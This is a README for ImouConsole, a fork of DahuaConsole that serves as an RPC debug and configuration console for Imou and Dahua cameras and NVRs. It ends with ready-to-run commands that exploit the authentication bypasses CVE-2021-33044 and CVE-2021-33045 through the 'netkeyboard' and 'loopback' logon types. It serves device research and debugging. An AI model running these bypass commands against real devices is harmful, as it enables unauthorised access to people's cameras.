ImouConsole

ALPHA STAGE — Experimental Imou device console

This project is based on the original DahuaConsole project and has been modified to communicate with and explore Imou (Dahua Technology) based devices.

The goal is to provide a developer/debug console for inspecting, testing, and modifying Imou camera/NVR/VTO configurations through the available RPC interfaces.

⚠️ This is an early alpha release. Expect incomplete features, unsupported devices, and possible configuration mistakes. Always export/save your configuration before changing values.

---

What has been modified

Compared to the original DahuaConsole, this version currently includes:

• Added Imou compatibility adjustments

• Added ceconfig interactive configuration editor

• Added configuration member discovery through:

  • configManager.getMemberNames
  • configManager.getConfig
  • configManager.setConfig

• Added readable configuration display instead of raw JSON dumps

• Added interactive configuration modification:

  • Shows current values
  • Allows changing editable fields
  • Confirms changes before writing

• Added support for nested configuration structures

• Added JSON/config dump improvements

• Added found configuration caching for discovered members

• Improved RPC exploration for unknown Imou services

---

Features

Current console commands:

ceconfig

Interactive configuration browser:

ceconfig list

Show available configuration blocks.

ceconfig show <member>

Example:

ceconfig show VideoColor

Displays the current configuration in a readable format.

ceconfig modify <member>

Example:

ceconfig modify Syslog

Fetches the current configuration, shows editable fields, and allows changing values.

---

Example

[Console]# ceconfig modify Syslog

Editable fields:
----------------
0 Enable = False
1 Server = 192.168.0.108
2 Port = 514
3 Facility = 22

The editor will ask for changes and confirm before applying them.

---

Installation

Clone the repository:

git clone https://github.com/XtremeCoder007/ImouConsole.git
cd ImouConsole

Install requirements:

pip3 install -r requirements.txt

Run:

python3 Console.py

---

Supported devices

Currently tested during development on:

• Imou branded cameras
• Dahua/Imou RPC compatible devices

Compatibility will vary depending on firmware version.

---

Important notes

This project is intended for:

• Research
• Debugging
• Device exploration
• Firmware/API analysis

It is not an official Imou project.

Changing unknown configuration values can cause unexpected behavior. Always keep backups.

---

Credits

Original project:

DahuaConsole

This project would not exist without the original DahuaConsole work and its RPC exploration tools.

Modified for Imou device research and configuration management.

---

Status

Current status:

ALPHA

Working:

✅ RPC communication ✅ Service discovery ✅ Configuration listing ✅ Configuration viewing ✅ Basic configuration editing

Still under investigation:

• Complete Imou feature mapping
• Hidden RPC methods
• App-equivalent functions
• Firmware differences
• Device-specific settings

More testing and contributions are welcome.

Dahua Console

• Version: Pre-alpha
• Bugs: Indeed
• TODO: Lots of stuff

[Install requirements]

sudo pip3 install -r requirements.txt

[Arguments]

  -h, --help            show this help message and exit
  --rhost RHOST         Remote Target Address (IP/FQDN)
  --rport RPORT         Remote Target Port
  --proto {dhip,dvrip,3des,http,https}
                        Protocol [Default: dvrip]
  --relay RELAY         ssh://<username>:<password>@<host>:<port>
  --auth AUTH           Credentials (username:password) [Default: None]
  --ssl                 Use SSL for remote connection
  -d, --debug           JSON traffic
  -dd, --ddebug         hexdump traffic
  --dump {config,service,device,discover,log,test}
                        Dump remote config
  --dump_argv DUMP_ARGV
                        ARGV to --dump
  --test                test w/o login attempt
  --multihost           Connect hosts from "dhConsole.json"
  --save                Save host hash to "dhConsole.json"
  --events              Subscribe to events [Default: False]
  --discover {dhip,dvrip}
                        Discover local devices
  --logon {wsse,loopback,netkeyboard,onvif:plain,onvif:digest,onvif:onvif,plain,ushield,ldap,ad,cms,local,rtsp,basic,old_digest,gui}
                        Logon types
  -f, --force           Bypass stops for dangerous commands
  --calls               Debug internal calls

---

[Release]

[Update] 2022-07-10

• Added 3des_old logon method for VTH1510CH running V2 software from 2016
  • Minor difference in the login packet data
  • Do not query device parameters on connect - will reset the connection
• Added --restore config-file.json
  • Loads json configuration file or parts thereof.

Example:

./Console.py --rhost 192.168.1.x --proto 3des --auth admin:admin --logon old_3des --dump config

[Update]

2021-10-07

Details here: https://github.com/mcw0/PoC/blob/master/Dahua%20authentication%20bypass.txt

2021-10-06

[CVE-2021-33044]

Protocol needed: DHIP or HTTP/HTTPS (DHIP do not work with TLS/SSL @TCP/443)

[proto: dhip, normally using tcp/5000]
./Console.py --logon netkeyboard --rhost 192.168.57.20 --proto dhip --rport 5000

[proto: dhip, usually working with HTTP port as well]
./Console.py --logon netkeyboard --rhost 192.168.57.20 --proto dhip --rport 80

[proto: http/https]
./Console.py --logon netkeyboard --rhost 192.168.57.20 --proto http --rport 80
./Console.py --logon netkeyboard --rhost 192.168.57.20 --proto https --rport 443

[CVE-2021-33045]

Protocol needed: DHIP (DHIP do not work with TLS/SSL @TCP/443)

[proto: dhip, normally using tcp/5000]
./Console.py --logon loopback --rhost 192.168.57.20 --proto dhip --rport 5000

[proto: dhip, usually working with HTTP port as well]
./Console.py --logon loopback --rhost 192.168.57.20 --proto dhip --rport 80

---